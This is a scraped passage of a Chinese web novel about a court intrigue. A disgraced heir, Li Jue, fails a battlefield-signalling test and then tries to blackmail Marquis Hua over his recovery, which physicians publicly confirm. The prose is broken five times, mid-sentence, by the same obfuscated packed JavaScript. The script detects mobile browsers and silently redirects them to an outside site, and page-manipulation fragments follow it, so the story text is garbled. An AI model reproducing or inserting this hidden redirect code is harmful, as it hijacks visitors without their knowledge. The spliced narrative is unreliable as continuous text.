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“况且你生了火,即便大营那边看到烟气了,他们怎么知道是你放的火,还是祁笛人放的,故意诱他们去救人的?你遇到的祁笛人有多少?他们是来刺探情况的,还是被打散了,构不成威胁,你如何传达?” 大雪之后,哪里有那么多干枯的树枝和草木,根本就点不起来,就算他找到一些干柴,这火生不大,更烧不久。 要是这火太小了,大营根本看不到。要是只点一小会儿就灭了,大营那边原就不知道他出事了,也不会一直盯着一个方向看,很容易错过。 再有就是,就算大营留意到了,敌情不明,一般只会先派一两个人去查明情况,要是情况紧急,才会回大营叫人。 郭林说的是遇上“一伙儿”祁笛人,这些人万一都是悍勇之人或是刺客,根本就不会给这两个前哨回去的机会,那么遇险之人和来救之人就会死。 万一这营中之将碍于李玦的身份,对他们特别重视,怕是一开始就会派出一队人去,那可就更糟了。 第397章无知,出大丑! 这要是担心李玦的安危,怕他出事之后回元京不好交代,冒然派了人出去,这一队人都可能遇险。 而且拾柴生火,这是需要时间的,火点完了,大营那边能看到,祁笛人也能看到,顺着火光和烟的方向找过来,就算他已经不在原地了,地上都是积雪,顺着脚印就能找到他。 不管大营那边来不来救,来了又怎么救,他大概都不需要让人救了,因为命都丢了…… “那该如何?危急时刻,很多时候本就是往前也不是、往后也不是的,只能两相其害取其轻。大家既然说这样做有问题,那姨姐、姐夫说说,还有什么办法?” 李玦也明白他的方法不可取,可是他被这些“愚民”说的,脑子就像塞住了一样,一时间还真想不到别的。 该不会这件事本就没有解决的法子,他们就是为了让他出丑,才故意出了这样的题。 沙场之上,瞬息万变,遇上这种事儿就是上,要不就先派两人做前哨,要是被祁笛人杀了,大营那边见派去的人很久都没回去,自然会再多派些人手过去,哪用那么麻烦。 要说以前华靖离虽然认为李玦这人虚有其表,可也感慨这人的命不好,受祖辈连累太过,恐怕终其一生都爬不出祖辈犯下的罪过。 这一场展示或是说是演武,却让华靖离看到了李玦的又一个问题,李玦一直在为家族东山再起做准备,可他的着眼点太高了,以至于许多简单而基础的东西,他反而不知道。 而李玦因为失去了父辈的依托,外加外界晋升的路又被宫里给压**,他一直奔着的那个高处的着眼点根本达不到,而他又不肯往下走,就弄得自己往上看,他脑子里的东西很多都是他想像出来的,已经不是不切实际了,更确切的说是虚无缥缈。 可往底下走,他又不肯……要说这也是李玦跟华靖离最不一样的地方,华靖离曾经想过,如果他处在李玦的处境里,他会怎么做。 他会选择向下走,到底是世子,真愿意跟最底层的兵丁同吃同住,不带护卫、家丁去阵前效力,一切从头开始,圣上定然会给他这个机会。 老端侯犯下的错再大,他的祖上也是大恒的从龙之臣,而且错也不是李玦自己犯下的,对老端侯的怀疑因为一直没有铁证,也找不到那些东西,不好搬到明面上。 在这种情况下,要是圣上连这样的要求都要拒绝,那些个老臣也不会答应。 再或是李玦也可以不离开元京,他去跟着何大舅也就是何雨萍的爹,经营何家的三教九流都好。 把这些人盘活了,将来把海里的东西拿出来,他借着这些人往南边儿一钻,再跟楚霆孝联手,说不定他们谋划的事儿就算不成,朝廷要是不想战事再起,就得像他们妥协,少说也能封一个异姓王,至少几十年内盘踞一方。 陆家在彭州经营,走的就是下层路线,别管手底下的人是贩夫走卒还是将来逃出来的流放之人,人家手底下有人啊,而且这些边城的亡命之徒拼起命来一点也不差。 李玦要是能把何家的人盘活了,再把脚帮、漕帮的人拉拢了,他将来跟楚霆孝也有谈判的资本了。 可是现实恰恰相反,李玦从小就大有要把元京坐穿的势头,何夫人念着端侯府和她都只有这一根独苗苗,也不想他冒险,硬是让他有了一种要把侯府坐穿的感觉。 夏明嫣见华靖离没说话,回想了一下前世的事儿,对着李玦道: “妹夫,我一个妇道人家,从小到大,南疆、北疆都没去过,这些个事儿我也不清楚,我就猜上一猜吧。” “我听说过这‘烽火戏诸侯’的典故,军中传信的方式中有一种就是烽火狼烟,这烟要是放的大,那是通过烽火台放的,要用煤炭和木柴,自然不适用于这一题。” “可是我还听说一种可以随身携带的放盐的装置,比火折子大不了多少,还不重,只要把盖子打开,烟就能出来,而且这种烟还可以有颜色,这样比起白色烟 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“这两枚烟弹根据不同的颜色和放出的先后顺序和相隔时间长短,能表达不同的意思。就好比遇到的祁笛人是百姓还是散兵游勇,是探子还是被打散了之后迷了路的,是大队人马还是只有几人……营中之人看到烟弹,就能知晓。” 这就将派多人去、能不能避免风险这事儿也避过去了,这是如今北疆惯用的传信方式,那几个退军听了,也频频点头。 华靖离刚才没开口,这时候就更糟了,显得李玦连个妇道人家都不如了。 这些人可不知道什么重生不重生的,他们想的是夏明嫣凭借着从自己没相处过几日的父亲那儿听来的一些见闻,加上自己的推理,就能想到这些。 可他李玦,到底是个男子,再没出过元京,他也有更多的法子了解这些,何况是他自己要去北疆的。 远处那些默默地在马车里李玦助威的闺秀们有的已经听不下去了,有些已经让车夫驾车离开了,还留下来的都等着看这李玦还到底要不要、能不能去北疆了! 第398章挑明要挟 老端侯在世的时候只有烟筒,还没有这样带着响哨的烟弹,李玦这些年窝在元京,原先的那些旧部一概都在南边,过往书信往来也是专人送到何夫人那里的。 何况就算那些书信他看过,那些人写信过来也不是唠家常来的,不会提这种琐碎常见之事。 这还只是一件小事,一件事不知,可知方方面面的事他都不知道,这样的人去了军中能干什么? 当然了,无论什么时候,都有新征兆去的兵士,可那些人一开始都是安排在不起眼儿的地方的,从低做起,一点点攒军功。等到上了上面的位置的时候,大大小小的事已经都清楚了。 可是李玦不一样,他之所以要走华靖离的关系去北疆,就是为了方便在那边受人照顾、拉拢人心,他根本就不可能从一个小兵、小吏做起。 这场闹剧终于可以结束了,郭林带人将场子里的东西收起来,送回马车上拉回府中,也让帮着将刚刚在这里的那些摊子恢复原样。 此时围观的人已经开始散去,李玦来到了华靖离面前,也不顾夏明嫣就在旁边,他咬着牙才说的说出下面的话: “华侯,好歹兄弟一场,将来少不了朝堂相见的时候,听说你和华家军也要往南边儿去,我府上刚好还有些父辈的余荫在南疆,你帮我一把,我自然也会帮你。” “华兄……你当真不需要借我端侯府之力么?你我即便不念兄弟之情,也不至于如此泾渭分明吧。” 华靖离一抬手,示意他打住:“你既然还叫我一声华兄,我便也与你说几句体己话。你端侯府既然在南疆还有余荫,你为何不去南疆历练?” “我知你素有大志,并非只想做个武官这么简单……你别反驳,圣上对端侯府忌讳甚深,你若是没有大志,不是想重建李家军的话,你不会想到军中历练、积攒军功。” “你甚至也不该娶夏家的女儿,任何一个都不娶,以此撇清跟夏家和兵部的关系。你娶了夏家最得宠的女儿,一边游说袭爵,一边想着去北疆历练,你在想什么,清楚你想干什么的,不止我一个人。” “既然将来你还是要回南疆去,你又何必舍近求远,非得贪北疆这一杯羹呢?北疆众人,无论是不是我华家一脉,都已经磨合多年。你在这个时候去北疆,又想仗着我的面子,你想干什么,别人不清楚?” 李玦就是去增加军功方面的资历的,他有了这些功劳,再袭了爵,将来去南疆才好打开局面。 要说北疆再难、再苦,那些个军侯、将领也有分歧、各为其主的时候,可大家都是朝廷的人。 南疆却未必了,那些个王爷和军侯哪个不是想要据地以分的?没什么功劳打基础,在北疆或许还有机会,在南疆,想跟这些人说句话怕是都难。 李玦这么干是为了什么,朝廷里很多人都清楚,他们跟华靖离的区别仅仅是不知道老端侯当年那批东西还在甚至还有望取出来。 因此,这些人便以为李玦不过是做了夏家的女婿,跟楚家扯上了关系,将来想将原本的爵位由二等侯爵升到一等,再寻一份油水大的差事罢了。 但他们也绝不会傻到以为李玦去北疆仅仅是为了历练自身、给大恒尽忠。 李玦脸色一沉,他当然另有目的,而且除了华靖离已经知道的重建李家军的目的之外,他还有另一个目的,就是他想招拢陆家。 他是前些日子到牢中探望何夫人时才得知的,这陆家在彭州怕是已经经营得颇有规模,手下部众众多。 眼下他还动不了,无法去南疆,得等朝廷先把南疆的局面平上一平才成。否则他去的早了,非但无法重建李家军,就是那些宝物也会落入他人之手。 要护巨宝,必须要有自己的人马。他在元京,在圣上和华靖离等人的眼皮子底下,他没有办法有自己的人手,那他就要去拉拢别人的人手,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982335|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至将别人的人据为己有。 在他看来,这陆家是有机可乘的,陆家是被流放去的,朝廷对北地和那边荒蛮之地流放之人的管理是不叫疏松的。 其实就是划了城池、划了地给他们住,让他们自己在里面开荒、种地再做一些小买卖,只大事儿由当地官府统筹、治理,这些人只要把所在的地方一点点地建设、繁盛起来就成了。 等这一片地方建得差不多了,这些流放之人要是赶上大赦或是流放之期已满,未被赦回原籍的就可就地为民,若是还没有被赦免或是还没满期的,则会被带去另一片荒芜的地方,继续之前所做的一切。 而当地的官府老爷也都由本地人担任,这些人虽然是朝廷的人,但其实也各有私心,想要充盈自己地盘的实力。 这就让两方之间有了可以运作的空间,这些老爷们每年只要把该收的钱粮收上去,把该修的该建的都弄好,这些人也别惹事儿,尤其是别惹大事儿,他们也是乐得睁一只眼闭一只眼的。 本来么,普通的**越货都流放不到这里来,能流放到这种地方来的,必是犯了大事儿的。 而能犯下如此大事儿的,大多都是有大能之人,甚至当中有不少都是曾经身居高位之人。这样的人,就算在自己这一代无法起复,子孙后代也还有很大的机会。 谁也不想得罪这样的人,要是对方不生事儿,把该做的都做了,他们也不想跟人家为难。 这些个大人、老爷也有自己的庶产和生意要打理,更别提好些都是把子孙送到中原甚至元京去求学、历练的,这些个犯了大事,还有大能,又曾经身处那些地方高处的人,无疑成了他们和他们子孙最好的老师。 这些人提点几句,或许自己原本走不通的路就通了,要是能递上一封信,调动一下昔日的门生故旧,那自己和儿孙的前程就相当于得了过去的世家相助了,谁不想结这样的善缘呢? 第399章让她揭发自己的夫君 时候久了,有些流放之人已经自成一脉,如果不考虑当地恶劣的气候和环境,他们的日子过得还不错,甚至跟这些老爷们处得也不错,长远了来说,相互勾结的都有。 这些管着他们的老爷们,要是长年都调不回中原,也不乏跟这些人暗地里做出些什么事儿的可能,就好比边贸黑市,或是养私兵、蓄奴、私铸兵器等等。 这些买卖一般并非存有反意,主要还是为了敛财,那些武器和所谓的“私兵”都是卖给别人用,或是为了保护黑市的。 陆家就是在这样情况中重新养出自己的势力的,可笑的是,被流放的陆家都已经暗地里坐大了,而在元京的李玦,手底下却只有何家的那些个人和远在南疆的旧部。 那些旧部是他父亲留下的人和这些人的子孙及之后又招揽的人,这些人他大部分连见都没见过,将来想必也很难直接就能听他的话。 这种情况下,他要保证将来那笔财富在取出之后先不被楚霆孝和夏庸夺了去才行。 他这些年过得着实不易,要利用楚、夏两家,又不能被他们控制住了……现在终于让他等到了时机,也就是前去北疆,拿到军功的同时,控制陆家。 即便他没有办法夺取陆家的多年经营,他至少可以利用陆家跟楚、夏两家的矛盾,与陆家联手。 楚、夏两家在权力和官位上高于他们,但要论自己手底下能够支配的人手,这两家未必比得上他们。 在心里又盘算了一遍这些,李玦更加坚定了自己的决定,咬着牙、阴恻恻地道: “既然华侯不肯体谅我,那我也不必体谅华侯了。你**重伤,回到元京时御医都说回天乏术,短短月余间又说寻到了神医,治好了伤,还康复到了如此程度。” “可我查访过了,钩翊侯府闭门谢客的那一个月里,并不曾有陌生医者出入,这医者究竟是何人,来自哪里,该不会从头到尾都没有这个人吧?” 华靖离掀唇冷笑,反问道:“你是觉得我为了尽快康复,使用了什么禁术?” “禁术?神、鬼之道虽说心诚则灵,可我并不相信会有如此作用。没有**的时候,你说过你的身子只是表面上看起来好了,我当时以为这只是你说来敷衍外人的客套话。” “后来经我查证,并未有什么神秘医者出入钩翊侯府,我才相信了你的话。你根本就没有康复,只是装作康复了,对不对?” 李玦目光冷然地道,他在心里讥笑华靖离,他一定很后悔向他透露了实情吧? 当初关系还好,他们又刚刚成为连襟,华靖离又是刚刚“康复”,或许是一时喜不自胜,才不小心向他透露了这么大的秘密吧? 不过,这段日子,他也让人查了许多东西,好比这神医要是到过华家,大老远地来一趟,元京又有这么多贵人,要是真有这么一个人,能不被别人家请去看诊了? 就算钩翊侯府答应了这位神医要为其隐瞒身份,可这些人家又不是瞎子,看到华靖离好撑这样了,能不来打听? 只要打听了,就算这神医脾气古怪,至少会有一两个跟华家亲近的人家能请到神医看诊……可他查过了,这样的人家一个都没有。 退一万步说,现在圣上的身子也不大好,华靖离身边有这样的人,而且据说当时待在钩翊侯府的两位御医也见过此人,还记录了脉案和药方,为何这两位御医没有像圣上举荐此人…… 种种迹象表明,这个人根本就不存在,华靖离就是那两位御医“治好”的,华靖离为了不失去华家军的统帅权,买通了这两名御医,跟他们一起欺骗了圣上和太子。 华靖离打量着李玦,仿佛他有什么病似的:“我都告诉你了,能是什么秘密?” 李玦冷哼一声:“那时你我还是兄弟,又都刚刚成亲,你自然会对我说实话。只不过你应该想不到我会去查证吧?你分明就是买通了御医蒙骗宫里,假装痊愈!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984320|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姨姐,你才刚嫁进华家,一定是被华侯逼迫才替他隐瞒的,你说句公道话,我说的是不是实情?” 夏明嫣也看了看李玦,她现在想的是环境这东西真是可怕,她上辈子在端侯府的时候,就是因为何夫人和李玦的步步紧逼,让自己处在一种时刻紧绷的状态下,才为他们母子做了那么多的事。 可是现在,她只觉得这一切都很荒谬,她甚至有点佩服夏明月起来。李玦身边的这个几个女人,好像就只有夏明月一个没有为他做那些事。 哪怕是重活一世,她嫁给了华靖离,而且他们夫妻之间感情很好,配合也很默契,李玦明明知道这些,居然还敢直接问她,让她站到华靖离的对立面! 她笑了一下,很是不解地道:“妹夫,若是你的猜想是真的,那便是欺君大罪。我身为华侯夫人,夫君前些日子刚为我请了二品诰命,我们一荣俱荣,一辱俱辱,我怎会揭发他,还只是因为妹夫你这一问?” 妹夫这种亲戚关系的存在,哪儿有那么亲近,尤其李玦心里清楚,她跟夏明月的关系并不好,他是怎么有脸说出这些话的? 李玦却还是一副理所当然的样子:“姨姐,既然华侯并没有真正康复,纸就是包不住火的,真相迟早会公之于众。与其到时候被揭发,一起被圣上怪罪,你若能主动陈情、自证,想来陛下也能体谅你一个弱女子受人逼迫……” “没有人逼迫我,我夫君的确好了,即便他的身子不是一点问题都没有,在郎中眼中,也在痊愈的范畴之内了,我们没有欺君。”夏明嫣笑了笑,然后冷了脸。 华靖离也道:“知道我为何要与你割袍断义么?除了你品行不端,还有一点就是你的想法很奇怪。你笃定我收买了两位御医,你可去找他们查证过?” 不等李玦回答,华靖离就笃定地道,“你一定没有,因为你一向很自信,超乎常人的自信。当然,对外人你会说,你没有找他们求证,是不想打草惊蛇。” 第400章你们用了禁术! 华靖离冷笑,这一点确实是李玦想多了,他没什么好心虚的: “你没有像御医求证过,只找了些旁证,说未曾有人见过这位神医便否定了整件事,反而抓住我一句戏言不放。你为什么就不能把我说的‘痊愈’当作一种‘自谦’呢?” “我若是装作痊愈,就像你说的一样,早晚都会露馅,那我为何不早点返回北疆,到了那边,就是圣上也很难及时了解真正的伤情,拖上几年总不成问题,我为何要一直留在元京?” 李玦认定了华靖离的伤愈有问题,不仅因为他自己的查证,从孙允斌那儿得到的消息也是这么说的,甚至夏明月也说她让人私下查证过,他对此没有一点怀疑。 因此,李玦理直气壮地道:“你们表现得越是镇定,越是有问题。华侯,请你高抬贵手,给我一个去北疆的机会,否则就别怪我把这事儿捅出去!” “华侯,姨姐是妇道人家,不懂这些,你不会不懂。就算你伤愈了七分,只要有三分是假的,就会动摇圣上对你的信任。失去圣心,你和你们华家的好日子可就没多久了!” 还真要挟上了,为君之人忌讳的就是华靖离这般手握重兵、威望深重还无甚恶行可以拿捏的人,动摇圣心只是第一步。 朝野之中蛰伏的敌对之人一旦察觉到这样的端倪,就会发难,罗织罪名,一拥而上,之后的一切就不好控制了。 李玦想从华靖离和夏明嫣的脸上看到恐惧,却不想夏明嫣直接喊了郭林和茶肆的掌柜过来,朗声对着周围还没离开的人道: “有件事要麻烦二位,郭护卫,你先去趟宫里,递个牌子,请之前那两位御医过来,再去各家府上把能找到的、能走得开的府医都请来。” “掌柜的,也要麻烦你了,把这元京中能找到的、有口碑的郎中也都请来。就说钩翊侯要向端侯世子和城中所有怀疑他伤情的人释疑,请他们来这里现场为钩翊侯诊治,也请大家留步,做个见证。” 城中医者各门各派的都有,当中不乏名医,他们也是各大高门的座上宾。为华靖离“遮掩”伤情的郎中医术再高明,也不可能完全逃过这么多人的眼睛。 尤其是那位神医如今并不在场,甚至没人知道这人是谁,不存在利用自己在杏林中的地位压制别人、堵别人嘴的可能。 也没有必要担心华靖离用自己的权势、地位压人,请来的有各府的府医,这些人背后的主子里自然有与华靖离为敌或是看他不顺眼的,真有问题,他们定然不会帮华靖离说话。 不到一个时辰,人就都请来了,周围的那些摊贩今天也不做买卖了,刚把摊子摆回去就又把地方让开了。 这些个医者一个个地被招待着在一旁坐着,华靖离坐在一张临时抬过来的桌案后面,伸出手放在脉枕上,郎中一个个地过来为他号脉。 之后茶肆腾了一楼的一间雅房出来,华靖离在里面宽了衣,再把他们一个个地请进去查看伤情,这当中就连齐大娘子的丈夫也就是已经退宫的王老太医都来了,一众人等好一阵忙乱。 之后这些医者又交流了一会儿,才有王老太医像围观的众人通报,他的表情也有些费解: “老实说,李世子的疑问老夫和诸位从前都有,华侯当初重伤回来,我们当中有不少人都曾被请到府上看诊。当时,我们对他的伤的确束手无策。” “华侯那时身中奇毒,毒入骨髓,那毒不是大恒之物,即便我们商议出了解读之法,只怕华侯也已经……可经过方才的诊断,我们得出了一致的结论,现在的华侯已然痊愈。” 众医者在旁边纷纷点头称是,周围有向他们打听情况的,他们也适当地给予解答。 因为这当中有许多都是各府的府医,他们来的时候,也同时惊动了主家,这时候在这儿围观的,尤其是站在前面的,很多都是各大高门的年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990650|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子侄们,再要么就是他们家里得力的管事儿。 在这些人同情和质疑交杂的目光之下,李玦脸色煞白,他满脸不可置信地嚷嚷起来: “不可能,怎么会这样……你们都是元京有名的医者,你们既然说华侯当初伤得很重,可他是如何康复的,你们又说不出来,这不是作假,是什么?” “或者当真有巫术,或是禁术?只有一个多月光景,他怎么可能真正好起来!” 王老太医迟疑地看了华靖离一眼:“面对重伤之人,医者首先要做的就是保其性命,许多事儿不应该在性命危急之时计较。即便是禁术,只要不危害社稷苍生,也未必不可为。” “敢问各位,若是你们各自家中有了危在旦夕的伤患,但凡有可能,你会不会愿意穷尽一切手段去救他的性命?” 围观之人议论纷纷,但凡有钱还能找到人的,出了原本就跟家里人有大仇的,哪儿有不愿意救的? 至于禁术,这些人不敢说,可彼此交换着眼色,分明就是有人愿意的。 最后有人终于忍不住了,还是个高门子弟,他啐了一口,说了大实话:“什么禁术不禁术的,说是不能用,可你们倒是说说,你们求神拜佛不算禁术,可你们当中有多少在这种情况下没拜过小庙的?” 所谓小庙,供奉不是传统意义上神仙,很多都是有些邪乎的,不乏有被朝廷明令禁止的。 可是,自己的家人都快性命不保了,又没有别的法子救他们,谁还管自己拜的是不是正神、正仙? 因为这些人拜了之后也没什么实际的危害,其实只要不大张旗鼓地闹到明面上,不以此为借口召集人马做不法之事,朝廷也就当没看见了。 人群中许多人都低了头不说话了,李玦却气急了,险些就要跳起来蹦高了:“谁说这种禁术了,我说的是……是……蛊医,对,他是不是用了蛊医之术?这也是禁术!” 第401章昂首控诉 蛊医,这个名字在元京已经很陌生了,消失了十几年了,只有那些年纪大些的人和出身高门的人才记得。 在场的人中有记得的,只一句“当年那位户部尚书死得惨啊”,寥寥几个字,就将事情的严重性概括了出来。 李玦冷笑道:“姨姐,你的母族便是蛊医杨氏,你的外祖父更是蛊医中的泰斗,虽然他已经过世了,可你舅家子嗣单薄,你舅父带你如亲女。是你,一定是你请到了你舅父!” “蛊医不得在元京行医,你才刚嫁给华靖离,竟然就胳膊肘往外拐,你对得起岳父、岳母对你的教养吗?你就一点都不怕连累夏家?” “还有华靖离,你竟然在天子脚下用蛊医之术,你这是欺君罔上,枉费了圣上和太子殿下对你的信任!” 那些个医者的话一出口,李玦便知道他失去了要挟华靖离的全部筹码,他们夫妇根本没打算让他去北疆。 事已至此,今日他也出够丑了,索性鱼死网破。他算是看明白了,只有把华靖离踩在脚下,他才有翻身的机会。 他想这么做也并不全是因为私怨,华靖离这些年树敌不少,只要他给这些人创造一个机会,这些人就会跟他一起攻讦华靖离。 华靖离一旦失势,连带着北疆和元京就会腾出一片位子,他作为揭发其私用蛊医禁术的首要功臣,少不得能得到一个位子,还能得到圣上的好感,把袭爵的事也办妥了。 这就叫不破不立,还没有依靠楚家和夏家,是靠他自己挣来的! 李玦用这些宏大的目标给自己壮胆,把自己激励得异常昂首挺胸,下巴高昂得都快要他的上身仰倒过去了。 华靖离不解地看着这样的李玦,还是夏明嫣凭着上辈子对李玦的了解,压低了声音告诉他: “他这是激励自己呢,想的太多,把自己给想激动了。你一会儿别离他太近,小心他暴起伤人,他以前真这么干过!” 担心华靖离听了反应太大,她没敢现在说出来,被李玦打的那个人不是别人,正是她和夏明月的“好”父亲—夏庸。 七年之后,不堪受岳家多年“压迫”的李玦得了势,在一次翁婿宴饮之后,越想越激动,终于暴打了自己岳父大人一顿。 这就是导致夏庸中风、半身不遂的直接原因,不然后来夏家也不会败落得那般迅速,最后落在了楚氏手中。 华靖离一看夏明嫣的眼神就知道这当中一定有故事,只是眼下不是听故事的时候,他看向李玦,直接承认道: “没错,我的确用了蛊医之术,而且当时我意识清醒,是我主动做出的决定。你如此质问,难道你觉得我在性命危急时刻,宁愿等死,也不能尝试有可能治好我的医术?” “你虽未去过军中,却出身军侯世家,还极力想要前往军中历练,不想心中却有此等畏战等死的荒谬想法。” “你若被祁笛人围困,你本有法子带着你身边的人突出重围,只因为此法有违一道模糊不清而你却认定了的诏令,你就宁愿就地等死,并且带着你身边的人一块儿死?” 虽说饿死是小,失节是大,可是用这条可以决定自己的生死,但要是用来决定别人的生死,还是好些人的生死,怎么说都让人觉得诡异。 况且站那儿等死是畏敌怯战,辱没的是整个大恒王朝,跟违背一条十几年前的诏令相比,哪一个更严重? 华靖离肩负着大恒北疆的安危,他是**重伤,虽然现在都没能抓住那伙刺客,但百姓们普遍以为是祁笛人所为。 若是他**,祁笛人的气势必然大振,趁着北疆权力和华家军的交接,必然生乱,又不知道要死多少兵将和百姓! 李玦这样说,反倒意味着他是一个为了个人名节可以牺牲大义的人,不让他去北疆才是对的! “华靖离,你少危言耸听,这不是在北疆,更不是在沙场之上,你就是在为你们夫妇犯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15999695|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的欺君大罪找借口!陛下派了两位御医留守钩翊侯府,你却不信任他们,胆敢动用蛊医之术,你……” 今日来之前,李玦根本没想到华靖离会请了这么多医者来当众验明伤情,他原以为就算华靖离不答应,事情也只会私下解决。 后来的这些应对之辞大部分都是他现想出来的,蛊医也好,当年老户部尚书的案子也罢,具体的细节他都不是很了解,只能囫囵个儿地说个大概, “钩翊侯府闭门谢客有月余之久,你是不是行了巫蛊续命之术,张大人,你身为元京府尹就该严办此事!” 李玦气势汹汹地瞪着华靖离,却只换来华靖离的一声轻笑,他是被气笑的: “说蛊医呢,扯什么巫蛊,这么多位名医在这儿站着呢,谁不知道蛊医和巫蛊没关系,别再展示你的无知了!” 王老太医急忙摆了摆手,对着李玦尴尬地道:“李世子,这两者的确没有任何关系,只是世人的误传罢了。你这么说……多少有些攀扯之意。” 现在的郎中行医,遇上重病的病患,一些年纪大的医者都会先烧香祷祝一番,按照李玦的逻辑,都可能跟巫蛊扯上关系……他们这些人也怕啊。 围观的人群里先是发出一声笑声,然后这笑声就像会传染一样,紧接着很多人都笑了出来。 李玦一下子又想起了刚才他因为不知道烟弹而遭人嘲笑的情形,白着脸硬撑道: “就算没有行巫蛊之术,你私用蛊医便是不行,你还买通了御医,逼迫他们欺骗圣上。” 那两位在钩翊侯府待了月余的御医也被请了过来给华靖离诊脉,此刻正在旁边站着,李玦的目光在一众医者中搜寻,最终落到了这二人身上,他指着这二人,声色俱厉地道, “你们干了什么已经不是秘密了,府尹张大人和一众医者都在此处,还不说实话!你们帮华靖离蒙蔽圣听,是为虎作伥,再隐瞒下去,必被严惩!” 第402章为蛊医正名 要是再早上半个月问,这两位御医还真不知道该如何回答,当初圣上让他们都华服听差,给了不遗余力、想尽一切办法救活华靖离的口谕。 他们到钩翊侯府之后虽然的确是这么做的,可等到华靖离提出用蛊医之术还要让夏明嫣诊治的时候,他们还是吃了一惊,因此即便华靖离命他只需私下记录,待他病愈或无力回天后再承报宫中时,他们只是表面遵从,私底下还是宫里通了信儿的。 圣上那边的回信没有立刻传回,但也只拖了一日,便让他们依照华靖离的吩咐去做,不必阻拦,那时他们便知道圣上的意思了,那就是死马当作活马医了。 **,只要不是立即毒发身亡,最重要的就是头三天,华靖离当初已经错过了。 外伤,最重要的是头三个月,要是再错过了,即便倾整个太医院之力也只能保华靖离十年性命,而这十年中,他也不过是**之末,表面看起来这个人还在,能稳住北疆局势罢了。 与其要这样一个只剩下一身躯壳、活着比**痛苦的华靖离,无论是华靖离还是圣上都宁愿让他勉力一试。 赢了,万事大好,输了,不过是让华靖离回到原来勉强活着的路上,只是比原先少活几年。 不过,他们心里也清楚,决定是华靖离和圣上做的,说是不用他们负责,但要是真输了,这责任绝不是一个华侯夫人能够承担的,他们也一样要担责。就算因为有了先前的口谕,他们不至于掉脑袋,但至少也要流放。 因此,在华靖离没彻底好起来之前,他们心里还是很紧张的,就是半个月前还心有余悸,可就在三天前,他们已经没有这层顾虑了。 两位御医中年轻的那位仿佛从来都没有过那段忐忑的心路历程,他非常气定神闲地道: “李世子,您这说的是哪里的话,当初圣上早有旨意,让我等不管用什么法子都要治好华侯。这蛊医也是医术中的一种,自然是包括在这些法子里的。” “华侯和我等实在无须刻意欺瞒圣上,华侯的脉案和由蛊医诊疗的一切记录我等皆记录在案,并如期呈报了圣上和太医院,不敢有半点隐瞒,我等着实无法承担您口中所说的弥天大罪。” 李玦见他们否认,并不觉得惊讶,他立刻就道:“虽然你们受了华靖离收买,可你们也不要忘记,他华靖离还做不到一手遮天的地步,你们做下的一切,不消半日就会传入宫中。” “你们就不怕圣上知道了,治你们一个矫诏欺君之罪吗?当年可是圣上亲口让蛊医离开元京的。” 华靖离叹了口气,对张礼岁道:“我看李世子是不会相信我们所说的了,张大人,还劳烦你帮忙说一下三日前元京府衙收到的诏命。” 张礼岁颔首,不仅是对着李玦,而是对着所有在场的人说道: “各位,蛊医当年被驱离元京,起因是户部尚书离奇身死一案,经大理寺近来重新审查案情、问询人证,确定了当年蛊医杨氏只是为其进行日常请脉,并非处理毒症。” “所谓老户部尚书**身亡,实际发生于杨氏请脉之后,待发现其**之后,府中想请杨氏医者入府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15999696|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医治,却受到了阻拦,以至于杨氏医者并未能及时为老尚书解读。” 